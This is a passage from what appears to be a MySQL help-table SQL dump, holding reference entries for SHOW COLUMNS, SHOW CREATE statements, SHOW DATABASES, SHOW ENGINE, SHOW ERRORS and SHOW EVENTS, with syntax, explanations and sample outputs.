each\ncolumn.\n\nThe LIKE clause, if present, indicates which column names to match. The\nWHERE clause can be given to select rows using more general conditions,\nas discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nThe data types may differ from what you expect them to be based on a\nCREATE TABLE statement because MySQL sometimes changes data types when\nyou create or alter a table. The conditions under which this occurs are\ndescribed in\nhttps://dev.mysql.com/doc/refman/8.0/en/silent-column-changes.html.\n\nSHOW COLUMNS displays the following values for each table column:\n\no Field\n\n The name of the column.\n\no Type\n\n The column data type.\n\no Collation\n\n The collation for nonbinary string columns, or NULL for other\n columns. This value is displayed only if you use the FULL keyword.\n\no Null\n\n The column nullability. The value is YES if NULL values can be stored\n in the column, NO if not.\n\no Key\n\n Whether the column is indexed:\n\n o If Key is empty, the column either is not indexed or is indexed\n only as a secondary column in a multiple-column, nonunique index.\n\n o If Key is PRI, the column is a PRIMARY KEY or is one of the columns\n in a multiple-column PRIMARY KEY.\n\n o If Key is UNI, the column is the first column of a UNIQUE index. (A\n UNIQUE index permits multiple NULL values, but you can tell whether\n the column permits NULL by checking the Null field.)\n\n o If Key is MUL, the column is the first column of a nonunique index\n in which multiple occurrences of a given value are permitted within\n the column.\n\n If more than one of the Key values applies to a given column of a\n table, Key displays the one with the highest priority, in the order\n PRI, UNI, MUL.\n\n A UNIQUE index may be displayed as PRI if it cannot contain NULL\n values and there is no PRIMARY KEY in the table. A UNIQUE index may\n display as MUL if several columns form a composite UNIQUE index;\n although the combination of the columns is unique, each column can\n still hold multiple occurrences of a given value.\n\no Default\n\n The default value for the column. This is NULL if the column has an\n explicit default of NULL, or if the column definition includes no\n DEFAULT clause.\n\no Extra\n\n Any additional information that is available about a given column.\n The value is nonempty in these cases:\n\n o auto_increment for columns that have the AUTO_INCREMENT attribute.\n\n o on update CURRENT_TIMESTAMP for TIMESTAMP or DATETIME columns that\n have the ON UPDATE CURRENT_TIMESTAMP attribute.\n\n o VIRTUAL GENERATED or STORED GENERATED for generated columns.\n\n o DEFAULT_GENERATED for columns that have an expression default\n value.\n\no Privileges\n\n The privileges you have for the column. This value is displayed only\n if you use the FULL keyword.\n\no Comment\n\n Any comment included in the column definition. This value is\n displayed only if you use the FULL keyword.\n\nTable column information is also available from the INFORMATION_SCHEMA\nCOLUMNS table. See\nhttps://dev.mysql.com/doc/refman/8.0/en/information-schema-columns-tabl\ne.html. The extended information about hidden columns is available only\nusing SHOW EXTENDED COLUMNS; it cannot be obtained from the COLUMNS\ntable.\n\nYou can list a table\'s columns with the mysqlshow db_name tbl_name\ncommand.\n\nThe DESCRIBE statement provides information similar to SHOW COLUMNS.\nSee https://dev.mysql.com/doc/refman/8.0/en/describe.html.\n\nThe SHOW CREATE TABLE, SHOW TABLE STATUS, and SHOW INDEX statements\nalso provide information about tables. See [HELP SHOW].\n\nIn MySQL 8.0.30 and later, SHOW COLUMNS includes the table\'s generated\ninvisible primary key, if it has one, by default. You can cause this\ninformation to be suppressed in the statement\'s output by setting\nshow_gipk_in_create_table_and_information_schema = OFF. For more\ninformation, see\nhttps://dev.mysql.com/doc/refman/8.0/en/create-table-gipks.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-columns.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-columns.html'),(650,'SHOW FIELDS',3,'Syntax:\nSHOW [EXTENDED] [FULL] {COLUMNS | FIELDS}\n {FROM | IN} tbl_name\n [{FROM | IN} db_name]\n [LIKE \'pattern\' | WHERE expr]\n\nSHOW COLUMNS displays information about the columns in a given table.\nIt also works for views. SHOW COLUMNS displays information only for\nthose columns for which you have some privilege.\n\nmysql> SHOW COLUMNS FROM City;\n+-------------+----------+------+-----+---------+----------------+\n| Field | Type | Null | Key | Default | Extra |\n+-------------+----------+------+-----+---------+----------------+\n| ID | int(11) | NO | PRI | NULL | auto_increment |\n| Name | char(35) | NO | | | |\n| CountryCode | char(3) | NO | MUL | | |\n| District | char(20) | NO | | | |\n| Population | int(11) | NO | | 0 | |\n+-------------+----------+------+-----+---------+----------------+\n\nAn alternative to tbl_name FROM db_name syntax is db_name.tbl_name.\nThese two statements are equivalent:\n\nSHOW COLUMNS FROM mytable FROM mydb;\nSHOW COLUMNS FROM mydb.mytable;\n\nThe optional EXTENDED keyword causes the output to include information\nabout hidden columns that MySQL uses internally and are not accessible\nby users.\n\nThe optional FULL keyword causes the output to include the column\ncollation and comments, as well as the privileges you have for each\ncolumn.\n\nThe LIKE clause, if present, indicates which column names to match. The\nWHERE clause can be given to select rows using more general conditions,\nas discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nThe data types may differ from what you expect them to be based on a\nCREATE TABLE statement because MySQL sometimes changes data types when\nyou create or alter a table. The conditions under which this occurs are\ndescribed in\nhttps://dev.mysql.com/doc/refman/8.0/en/silent-column-changes.html.\n\nSHOW COLUMNS displays the following values for each table column:\n\no Field\n\n The name of the column.\n\no Type\n\n The column data type.\n\no Collation\n\n The collation for nonbinary string columns, or NULL for other\n columns. This value is displayed only if you use the FULL keyword.\n\no Null\n\n The column nullability. The value is YES if NULL values can be stored\n in the column, NO if not.\n\no Key\n\n Whether the column is indexed:\n\n o If Key is empty, the column either is not indexed or is indexed\n only as a secondary column in a multiple-column, nonunique index.\n\n o If Key is PRI, the column is a PRIMARY KEY or is one of the columns\n in a multiple-column PRIMARY KEY.\n\n o If Key is UNI, the column is the first column of a UNIQUE index. (A\n UNIQUE index permits multiple NULL values, but you can tell whether\n the column permits NULL by checking the Null field.)\n\n o If Key is MUL, the column is the first column of a nonunique index\n in which multiple occurrences of a given value are permitted within\n the column.\n\n If more than one of the Key values applies to a given column of a\n table, Key displays the one with the highest priority, in the order\n PRI, UNI, MUL.\n\n A UNIQUE index may be displayed as PRI if it cannot contain NULL\n values and there is no PRIMARY KEY in the table. A UNIQUE index may\n display as MUL if several columns form a composite UNIQUE index;\n although the combination of the columns is unique, each column can\n still hold multiple occurrences of a given value.\n\no Default\n\n The default value for the column. This is NULL if the column has an\n explicit default of NULL, or if the column definition includes no\n DEFAULT clause.\n\no Extra\n\n Any additional information that is available about a given column.\n The value is nonempty in these cases:\n\n o auto_increment for columns that have the AUTO_INCREMENT attribute.\n\n o on update CURRENT_TIMESTAMP for TIMESTAMP or DATETIME columns that\n have the ON UPDATE CURRENT_TIMESTAMP attribute.\n\n o VIRTUAL GENERATED or STORED GENERATED for generated columns.\n\n o DEFAULT_GENERATED for columns that have an expression default\n value.\n\no Privileges\n\n The privileges you have for the column. This value is displayed only\n if you use the FULL keyword.\n\no Comment\n\n Any comment included in the column definition. This value is\n displayed only if you use the FULL keyword.\n\nTable column information is also available from the INFORMATION_SCHEMA\nCOLUMNS table. See\nhttps://dev.mysql.com/doc/refman/8.0/en/information-schema-columns-tabl\ne.html. The extended information about hidden columns is available only\nusing SHOW EXTENDED COLUMNS; it cannot be obtained from the COLUMNS\ntable.\n\nYou can list a table\'s columns with the mysqlshow db_name tbl_name\ncommand.\n\nThe DESCRIBE statement provides information similar to SHOW COLUMNS.\nSee https://dev.mysql.com/doc/refman/8.0/en/describe.html.\n\nThe SHOW CREATE TABLE, SHOW TABLE STATUS, and SHOW INDEX statements\nalso provide information about tables. See [HELP SHOW].\n\nIn MySQL 8.0.30 and later, SHOW COLUMNS includes the table\'s generated\ninvisible primary key, if it has one, by default. You can cause this\ninformation to be suppressed in the statement\'s output by setting\nshow_gipk_in_create_table_and_information_schema = OFF. For more\ninformation, see\nhttps://dev.mysql.com/doc/refman/8.0/en/create-table-gipks.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-columns.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-columns.html'),(651,'SHOW CREATE DATABASE',3,'Syntax:\nSHOW CREATE {DATABASE | SCHEMA} [IF NOT EXISTS] db_name\n\nShows the CREATE DATABASE statement that creates the named database. If\nthe SHOW statement includes an IF NOT EXISTS clause, the output too\nincludes such a clause. SHOW CREATE SCHEMA is a synonym for SHOW CREATE\nDATABASE.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-create-database.html\n\n','mysql> SHOW CREATE DATABASE test\\G\n*************************** 1. row ***************************\n Database: test\nCreate Database: CREATE DATABASE `test` /*!40100 DEFAULT CHARACTER SET utf8mb4\n COLLATE utf8mb4_0900_ai_ci */ /*!80014 DEFAULT ENCRYPTION=\'N\' */\n\nmysql> SHOW CREATE SCHEMA test\\G\n*************************** 1. row ***************************\n Database: test\nCreate Database: CREATE DATABASE `test` /*!40100 DEFAULT CHARACTER SET utf8mb4\n COLLATE utf8mb4_0900_ai_ci */ /*!80014 DEFAULT ENCRYPTION=\'N\' */\n','https://dev.mysql.com/doc/refman/8.0/en/show-create-database.html'),(652,'SHOW CREATE SCHEMA',3,'Syntax:\nSHOW CREATE {DATABASE | SCHEMA} [IF NOT EXISTS] db_name\n\nShows the CREATE DATABASE statement that creates the named database. If\nthe SHOW statement includes an IF NOT EXISTS clause, the output too\nincludes such a clause. SHOW CREATE SCHEMA is a synonym for SHOW CREATE\nDATABASE.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-create-database.html\n\n','mysql> SHOW CREATE DATABASE test\\G\n*************************** 1. row ***************************\n Database: test\nCreate Database: CREATE DATABASE `test` /*!40100 DEFAULT CHARACTER SET utf8mb4\n COLLATE utf8mb4_0900_ai_ci */ /*!80014 DEFAULT ENCRYPTION=\'N\' */\n\nmysql> SHOW CREATE SCHEMA test\\G\n*************************** 1. row ***************************\n Database: test\nCreate Database: CREATE DATABASE `test` /*!40100 DEFAULT CHARACTER SET utf8mb4\n COLLATE utf8mb4_0900_ai_ci */ /*!80014 DEFAULT ENCRYPTION=\'N\' */\n','https://dev.mysql.com/doc/refman/8.0/en/show-create-database.html'),(653,'SHOW CREATE EVENT',3,'Syntax:\nSHOW CREATE EVENT event_name\n\nThis statement displays the CREATE EVENT statement needed to re-create\na given event. It requires the EVENT privilege for the database from\nwhich the event is to be shown. For example (using the same event\ne_daily defined and then altered in [HELP SHOW EVENTS]):\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-create-event.html\n\n','mysql> SHOW CREATE EVENT myschema.e_daily\\G\n*************************** 1. row ***************************\n Event: e_daily\n sql_mode: ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,\n NO_ZERO_IN_DATE,NO_ZERO_DATE,\n ERROR_FOR_DIVISION_BY_ZERO,\n NO_ENGINE_SUBSTITUTION\n time_zone: SYSTEM\n Create Event: CREATE DEFINER=`jon`@`ghidora` EVENT `e_daily`\n ON SCHEDULE EVERY 1 DAY\n STARTS CURRENT_TIMESTAMP + INTERVAL 6 HOUR\n ON COMPLETION NOT PRESERVE\n ENABLE\n COMMENT \'Saves total number of sessions then\n clears the table each day\'\n DO BEGIN\n INSERT INTO site_activity.totals (time, total)\n SELECT CURRENT_TIMESTAMP, COUNT(*)\n FROM site_activity.sessions;\n DELETE FROM site_activity.sessions;\n END\ncharacter_set_client: utf8mb4\ncollation_connection: utf8mb4_0900_ai_ci\n Database Collation: utf8mb4_0900_ai_ci\n','https://dev.mysql.com/doc/refman/8.0/en/show-create-event.html'),(654,'SHOW CREATE FUNCTION',3,'Syntax:\nSHOW CREATE FUNCTION func_name\n\nThis statement is similar to SHOW CREATE PROCEDURE but for stored\nfunctions. See [HELP SHOW CREATE PROCEDURE].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-create-function.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-create-function.html'),(655,'SHOW CREATE PROCEDURE',3,'Syntax:\nSHOW CREATE PROCEDURE proc_name\n\nThis statement is a MySQL extension. It returns the exact string that\ncan be used to re-create the named stored procedure. A similar\nstatement, SHOW CREATE FUNCTION, displays information about stored\nfunctions (see [HELP SHOW CREATE FUNCTION]).\n\nTo use either statement, you must be the user named as the routine\nDEFINER, have the SHOW_ROUTINE privilege, have the SELECT privilege at\nthe global level, or have the CREATE ROUTINE, ALTER ROUTINE, or EXECUTE\nprivilege granted at a scope that includes the routine. The value\ndisplayed for the Create Procedure or Create Function field is NULL if\nyou have only CREATE ROUTINE, ALTER ROUTINE, or EXECUTE.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-create-procedure.html\n\n','mysql> SHOW CREATE PROCEDURE test.citycount\\G\n*************************** 1. row ***************************\n Procedure: citycount\n sql_mode: ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,\n NO_ZERO_IN_DATE,NO_ZERO_DATE,\n ERROR_FOR_DIVISION_BY_ZERO,\n NO_ENGINE_SUBSTITUTION\n Create Procedure: CREATE DEFINER=`me`@`localhost`\n PROCEDURE `citycount`(IN country CHAR(3), OUT cities INT)\n BEGIN\n SELECT COUNT(*) INTO cities FROM world.city\n WHERE CountryCode = country;\n END\ncharacter_set_client: utf8mb4\ncollation_connection: utf8mb4_0900_ai_ci\n Database Collation: utf8mb4_0900_ai_ci\n\nmysql> SHOW CREATE FUNCTION test.hello\\G\n*************************** 1. row ***************************\n Function: hello\n sql_mode: ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,\n NO_ZERO_IN_DATE,NO_ZERO_DATE,\n ERROR_FOR_DIVISION_BY_ZERO,\n NO_ENGINE_SUBSTITUTION\n Create Function: CREATE DEFINER=`me`@`localhost`\n FUNCTION `hello`(s CHAR(20))\n RETURNS char(50) CHARSET utf8mb4\n DETERMINISTIC\n RETURN CONCAT(\'Hello, \',s,\'!\')\ncharacter_set_client: utf8mb4\ncollation_connection: utf8mb4_0900_ai_ci\n Database Collation: utf8mb4_0900_ai_ci\n','https://dev.mysql.com/doc/refman/8.0/en/show-create-procedure.html'),(656,'SHOW CREATE TABLE',3,'Syntax:\nSHOW CREATE TABLE tbl_name\n\nShows the CREATE TABLE statement that creates the named table. To use\nthis statement, you must have some privilege for the table. This\nstatement also works with views.\n\nAs of MySQL 8.0.16, MySQL implements CHECK constraints and SHOW CREATE\nTABLE displays them. All CHECK constraints are displayed as table\nconstraints. That is, a CHECK constraint originally specified as part\nof a column definition displays as a separate clause not part of the\ncolumn definition. Example:\n\nmysql> CREATE TABLE t1 (\n i1 INT CHECK (i1 <> 0), -- column constraint\n i2 INT,\n CHECK (i2 > i1), -- table constraint\n CHECK (i2 <> 0) NOT ENFORCED -- table constraint, not enforced\n );\n\nmysql> SHOW CREATE TABLE t1\\G\n*************************** 1. row ***************************\n Table: t1\nCreate Table: CREATE TABLE `t1` (\n `i1` int DEFAULT NULL,\n `i2` int DEFAULT NULL,\n CONSTRAINT `t1_chk_1` CHECK ((`i1` <> 0)),\n CONSTRAINT `t1_chk_2` CHECK ((`i2` > `i1`)),\n CONSTRAINT `t1_chk_3` CHECK ((`i2` <> 0)) /*!80016 NOT ENFORCED */\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci\n\nSHOW CREATE TABLE quotes table and column names according to the value\nof the sql_quote_show_create option. See\nhttps://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html.\n\nWhen altering the storage engine of a table, table options that are not\napplicable to the new storage engine are retained in the table\ndefinition to enable reverting the table with its previously defined\noptions to the original storage engine, if necessary. For example, when\nchanging the storage engine from InnoDB to MyISAM, options specific to\nInnoDB, such as ROW_FORMAT=COMPACT, are retained, as shown here:\n\nmysql> CREATE TABLE t1 (c1 INT PRIMARY KEY) ROW_FORMAT=COMPACT ENGINE=InnoDB;\nmysql> ALTER TABLE t1 ENGINE=MyISAM;\nmysql> SHOW CREATE TABLE t1\\G\n*************************** 1. row ***************************\n Table: t1\nCreate Table: CREATE TABLE `t1` (\n `c1` int NOT NULL,\n PRIMARY KEY (`c1`)\n) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci ROW_FORMAT=COMPACT\n\nWhen creating a table with strict mode disabled, the storage engine\'s\ndefault row format is used if the specified row format is not\nsupported. The actual row format of the table is reported in the\nRow_format column in response to SHOW TABLE STATUS. SHOW CREATE TABLE\nshows the row format that was specified in the CREATE TABLE statement.\n\nIn MySQL 8.0.30 and later, SHOW CREATE TABLE includes the definition of\nthe table\'s generated invisible primary key, if it has such a key, by\ndefault. You can cause this information to be suppressed in the\nstatement\'s output by setting\nshow_gipk_in_create_table_and_information_schema = OFF. For more\ninformation, see\nhttps://dev.mysql.com/doc/refman/8.0/en/create-table-gipks.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-create-table.html\n\n','mysql> SHOW CREATE TABLE t\\G\n*************************** 1. row ***************************\n Table: t\nCreate Table: CREATE TABLE `t` (\n `id` int NOT NULL AUTO_INCREMENT,\n `s` char(60) DEFAULT NULL,\n PRIMARY KEY (`id`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci\n','https://dev.mysql.com/doc/refman/8.0/en/show-create-table.html'),(657,'SHOW CREATE TRIGGER',3,'Syntax:\nSHOW CREATE TRIGGER trigger_name\n\nThis statement shows the CREATE TRIGGER statement that creates the\nnamed trigger. This statement requires the TRIGGER privilege for the\ntable associated with the trigger.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-create-trigger.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-create-trigger.html'),(658,'SHOW CREATE USER',3,'Syntax:\nSHOW CREATE USER user\n\nThis statement shows the CREATE USER statement that creates the named\nuser. An error occurs if the user does not exist. The statement\nrequires the SELECT privilege for the mysql system schema, except to\nsee information for the current user. For the current user, the SELECT\nprivilege for the mysql.user system table is required for display of\nthe password hash in the IDENTIFIED AS clause; otherwise, the hash\ndisplays as .\n\nTo name the account, use the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/account-names.html. The host\nname part of the account name, if omitted, defaults to \'%\'. It is also\npossible to specify CURRENT_USER or CURRENT_USER() to refer to the\naccount associated with the current session.\n\nPassword hash values displayed in the IDENTIFIED WITH clause of output\nfrom SHOW CREATE USER may contain unprintable characters that have\nadverse effects on terminal displays and in other environments.\nEnabling the print_identified_with_as_hex system variable (available as\nof MySQL 8.0.17) causes SHOW CREATE USER to display such hash values as\nhexadecimal strings rather than as regular string literals. Hash values\nthat do not contain unprintable characters still display as regular\nstring literals, even with this variable enabled.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-create-user.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-create-user.html'),(659,'SHOW CREATE VIEW',3,'Syntax:\nSHOW CREATE VIEW view_name\n\nThis statement shows the CREATE VIEW statement that creates the named\nview.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-create-view.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-create-view.html'),(660,'SHOW DATABASES',3,'Syntax:\nSHOW {DATABASES | SCHEMAS}\n [LIKE \'pattern\' | WHERE expr]\n\nSHOW DATABASES lists the databases on the MySQL server host. SHOW\nSCHEMAS is a synonym for SHOW DATABASES. The LIKE clause, if present,\nindicates which database names to match. The WHERE clause can be given\nto select rows using more general conditions, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nYou see only those databases for which you have some kind of privilege,\nunless you have the global SHOW DATABASES privilege. You can also get\nthis list using the mysqlshow command.\n\nIf the server was started with the --skip-show-database option, you\ncannot use this statement at all unless you have the SHOW DATABASES\nprivilege.\n\nMySQL implements databases as directories in the data directory, so\nthis statement simply lists directories in that location. However, the\noutput may include names of directories that do not correspond to\nactual databases.\n\nDatabase information is also available from the INFORMATION_SCHEMA\nSCHEMATA table. See\nhttps://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-tab\nle.html.\n\n*Caution*:\n\nBecause any static global privilege is considered a privilege for all\ndatabases, any static global privilege enables a user to see all\ndatabase names with SHOW DATABASES or by examining the SCHEMATA table\nof INFORMATION_SCHEMA, except databases that have been restricted at\nthe database level by partial revokes.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-databases.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-databases.html'),(661,'SHOW SCHEMAS',3,'Syntax:\nSHOW {DATABASES | SCHEMAS}\n [LIKE \'pattern\' | WHERE expr]\n\nSHOW DATABASES lists the databases on the MySQL server host. SHOW\nSCHEMAS is a synonym for SHOW DATABASES. The LIKE clause, if present,\nindicates which database names to match. The WHERE clause can be given\nto select rows using more general conditions, as discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/extended-show.html.\n\nYou see only those databases for which you have some kind of privilege,\nunless you have the global SHOW DATABASES privilege. You can also get\nthis list using the mysqlshow command.\n\nIf the server was started with the --skip-show-database option, you\ncannot use this statement at all unless you have the SHOW DATABASES\nprivilege.\n\nMySQL implements databases as directories in the data directory, so\nthis statement simply lists directories in that location. However, the\noutput may include names of directories that do not correspond to\nactual databases.\n\nDatabase information is also available from the INFORMATION_SCHEMA\nSCHEMATA table. See\nhttps://dev.mysql.com/doc/refman/8.0/en/information-schema-schemata-tab\nle.html.\n\n*Caution*:\n\nBecause any static global privilege is considered a privilege for all\ndatabases, any static global privilege enables a user to see all\ndatabase names with SHOW DATABASES or by examining the SCHEMATA table\nof INFORMATION_SCHEMA, except databases that have been restricted at\nthe database level by partial revokes.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-databases.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-databases.html'),(662,'SHOW ENGINE',3,'Syntax:\nSHOW ENGINE engine_name {STATUS | MUTEX}\n\nSHOW ENGINE displays operational information about a storage engine. It\nrequires the PROCESS privilege. The statement has these variants:\n\nSHOW ENGINE INNODB STATUS\nSHOW ENGINE INNODB MUTEX\nSHOW ENGINE PERFORMANCE_SCHEMA STATUS\n\nSHOW ENGINE INNODB STATUS displays extensive information from the\nstandard InnoDB Monitor about the state of the InnoDB storage engine.\nFor information about the standard monitor and other InnoDB Monitors\nthat provide information about InnoDB processing, see\nhttps://dev.mysql.com/doc/refman/8.0/en/innodb-monitors.html.\n\nSHOW ENGINE INNODB MUTEX displays InnoDB mutex and rw-lock statistics.\n\n*Note*:\n\nInnoDB mutexes and rwlocks can also be monitored using Performance\nSchema tables. See\nhttps://dev.mysql.com/doc/refman/8.0/en/monitor-innodb-mutex-waits-perf\normance-schema.html.\n\nMutex statistics collection is configured dynamically using the\nfollowing options:\n\no To enable the collection of mutex statistics, run:\n\nSET GLOBAL innodb_monitor_enable=\'latch\';\n\no To reset mutex statistics, run:\n\nSET GLOBAL innodb_monitor_reset=\'latch\';\n\no To disable the collection of mutex statistics, run:\n\nSET GLOBAL innodb_monitor_disable=\'latch\';\n\nCollection of mutex statistics for SHOW ENGINE INNODB MUTEX can also be\nenabled by setting innodb_monitor_enable=\'all\', or disabled by setting\ninnodb_monitor_disable=\'all\'.\n\nSHOW ENGINE INNODB MUTEX output has these columns:\n\no Type\n\n Always InnoDB.\n\no Name\n\n For mutexes, the Name field reports only the mutex name. For rwlocks,\n the Name field reports the source file where the rwlock is\n implemented, and the line number in the file where the rwlock is\n created. The line number is specific to your version of MySQL.\n\no Status\n\n The mutex status. This field reports the number of spins, waits, and\n calls. Statistics for low-level operating system mutexes, which are\n implemented outside of InnoDB, are not reported.\n\n o spins indicates the number of spins.\n\n o waits indicates the number of mutex waits.\n\n o calls indicates how many times the mutex was requested.\n\nSHOW ENGINE INNODB MUTEX does not list mutexes and rw-locks for each\nbuffer pool block, as the amount of output would be overwhelming on\nsystems with a large buffer pool. SHOW ENGINE INNODB MUTEX does,\nhowever, print aggregate BUF_BLOCK_MUTEX spin, wait, and call values\nfor buffer pool block mutexes and rw-locks. SHOW ENGINE INNODB MUTEX\nalso does not list any mutexes or rw-locks that have never been waited\non (os_waits=0). Thus, SHOW ENGINE INNODB MUTEX only displays\ninformation about mutexes and rw-locks outside of the buffer pool that\nhave caused at least one OS-level wait.\n\nUse SHOW ENGINE PERFORMANCE_SCHEMA STATUS to inspect the internal\noperation of the Performance Schema code:\n\nmysql> SHOW ENGINE PERFORMANCE_SCHEMA STATUS\\G\n...\n*************************** 3. row ***************************\n Type: performance_schema\n Name: events_waits_history.size\nStatus: 76\n*************************** 4. row ***************************\n Type: performance_schema\n Name: events_waits_history.count\nStatus: 10000\n*************************** 5. row ***************************\n Type: performance_schema\n Name: events_waits_history.memory\nStatus: 760000\n...\n*************************** 57. row ***************************\n Type: performance_schema\n Name: performance_schema.memory\nStatus: 26459600\n...\n\nThis statement is intended to help the DBA understand the effects that\ndifferent Performance Schema options have on memory requirements.\n\nName values consist of two parts, which name an internal buffer and a\nbuffer attribute, respectively. Interpret buffer names as follows:\n\no An internal buffer that is not exposed as a table is named within\n parentheses. Examples: (pfs_cond_class).size,\n (pfs_mutex_class).memory.\n\no An internal buffer that is exposed as a table in the\n performance_schema database is named after the table, without\n parentheses. Examples: events_waits_history.size,\n mutex_instances.count.\n\no A value that applies to the Performance Schema as a whole begins with\n performance_schema. Example: performance_schema.memory.\n\nBuffer attributes have these meanings:\n\no size is the size of the internal record used by the implementation,\n such as the size of a row in a table. size values cannot be changed.\n\no count is the number of internal records, such as the number of rows\n in a table. count values can be changed using Performance Schema\n configuration options.\n\no For a table, tbl_name.memory is the product of size and count. For\n the Performance Schema as a whole, performance_schema.memory is the\n sum of all the memory used (the sum of all other memory values).\n\nIn some cases, there is a direct relationship between a Performance\nSchema configuration parameter and a SHOW ENGINE value. For example,\nevents_waits_history_long.count corresponds to\nperformance_schema_events_waits_history_long_size. In other cases, the\nrelationship is more complex. For example, events_waits_history.count\ncorresponds to performance_schema_events_waits_history_size (the number\nof rows per thread) multiplied by\nperformance_schema_max_thread_instances ( the number of threads).\n\nSHOW ENGINE NDB STATUS If the server has the NDB storage engine\nenabled, SHOW ENGINE NDB STATUS displays cluster status information\nsuch as the number of connected data nodes, the cluster connectstring,\nand cluster binary log epochs, as well as counts of various Cluster API\nobjects created by the MySQL Server when connected to the cluster.\nSample output from this statement is shown here:\n\nmysql> SHOW ENGINE NDB STATUS;\n+------------+-----------------------+--------------------------------------------------+\n| Type | Name | Status |\n+------------+-----------------------+--------------------------------------------------+\n| ndbcluster | connection | cluster_node_id=7,\n connected_host=198.51.100.103, connected_port=1186, number_of_data_nodes=4,\n number_of_ready_data_nodes=3, connect_count=0 |\n| ndbcluster | NdbTransaction | created=6, free=0, sizeof=212 |\n| ndbcluster | NdbOperation | created=8, free=8, sizeof=660 |\n| ndbcluster | NdbIndexScanOperation | created=1, free=1, sizeof=744 |\n| ndbcluster | NdbIndexOperation | created=0, free=0, sizeof=664 |\n| ndbcluster | NdbRecAttr | created=1285, free=1285, sizeof=60 |\n| ndbcluster | NdbApiSignal | created=16, free=16, sizeof=136 |\n| ndbcluster | NdbLabel | created=0, free=0, sizeof=196 |\n| ndbcluster | NdbBranch | created=0, free=0, sizeof=24 |\n| ndbcluster | NdbSubroutine | created=0, free=0, sizeof=68 |\n| ndbcluster | NdbCall | created=0, free=0, sizeof=16 |\n| ndbcluster | NdbBlob | created=1, free=1, sizeof=264 |\n| ndbcluster | NdbReceiver | created=4, free=0, sizeof=68 |\n| ndbcluster | binlog | latest_epoch=155467, latest_trans_epoch=148126,\n latest_received_binlog_epoch=0, latest_handled_binlog_epoch=0,\n latest_applied_binlog_epoch=0 |\n+------------+-----------------------+--------------------------------------------------+\n\nThe Status column in each of these rows provides information about the\nMySQL server\'s connection to the cluster and about the cluster binary\nlog\'s status, respectively. The Status information is in the form of\ncomma-delimited set of name/value pairs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-engine.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-engine.html'),(663,'SHOW ENGINES',3,'Syntax:\nSHOW [STORAGE] ENGINES\n\nSHOW ENGINES displays status information about the server\'s storage\nengines. This is particularly useful for checking whether a storage\nengine is supported, or to see what the default engine is.\n\nFor information about MySQL storage engines, see\nhttps://dev.mysql.com/doc/refman/8.0/en/innodb-storage-engine.html, and\nhttps://dev.mysql.com/doc/refman/8.0/en/storage-engines.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-engines.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-engines.html'),(664,'SHOW ERRORS',3,'Syntax:\nSHOW ERRORS [LIMIT [offset,] row_count]\nSHOW COUNT(*) ERRORS\n\nSHOW ERRORS is a diagnostic statement that is similar to SHOW WARNINGS,\nexcept that it displays information only for errors, rather than for\nerrors, warnings, and notes.\n\nThe LIMIT clause has the same syntax as for the SELECT statement. See\nhttps://dev.mysql.com/doc/refman/8.0/en/select.html.\n\nThe SHOW COUNT(*) ERRORS statement displays the number of errors. You\ncan also retrieve this number from the error_count variable:\n\nSHOW COUNT(*) ERRORS;\nSELECT @@error_count;\n\nSHOW ERRORS and error_count apply only to errors, not warnings or\nnotes. In other respects, they are similar to SHOW WARNINGS and\nwarning_count. In particular, SHOW ERRORS cannot display information\nfor more than max_error_count messages, and error_count can exceed the\nvalue of max_error_count if the number of errors exceeds\nmax_error_count.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/show-errors.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/show-errors.html'),(665,'SHOW EVENTS',3,'Syntax:\nSHOW EVENTS\n [{FROM | IN} schema_name]\n [LIKE \'pattern\' | WHERE expr]\n\nThis statement displays information about Event Manager events, which\nare discussed in\nhttps://dev.mysql.com/doc/refman/8.0/en/event-scheduler.html. It\nrequires the EVENT privilege for the database from which the events are\nto be shown.\n\nIn its simplest form, SHOW EVENTS lists all of the events in the\ncurrent schema:\n\nmysql> SELECT CURRENT_USER(), SCHEMA();\n+----------------+----------+\n| CURRENT_USER() | SCHEMA() |\n+----------------+----------+\n| jon@ghidora | myschema |\n+----------------+----------+\n1 row in set (0.00 sec)\n\nmysql> SHOW EVENTS\\G\n*************************** 1. row ***************************\n 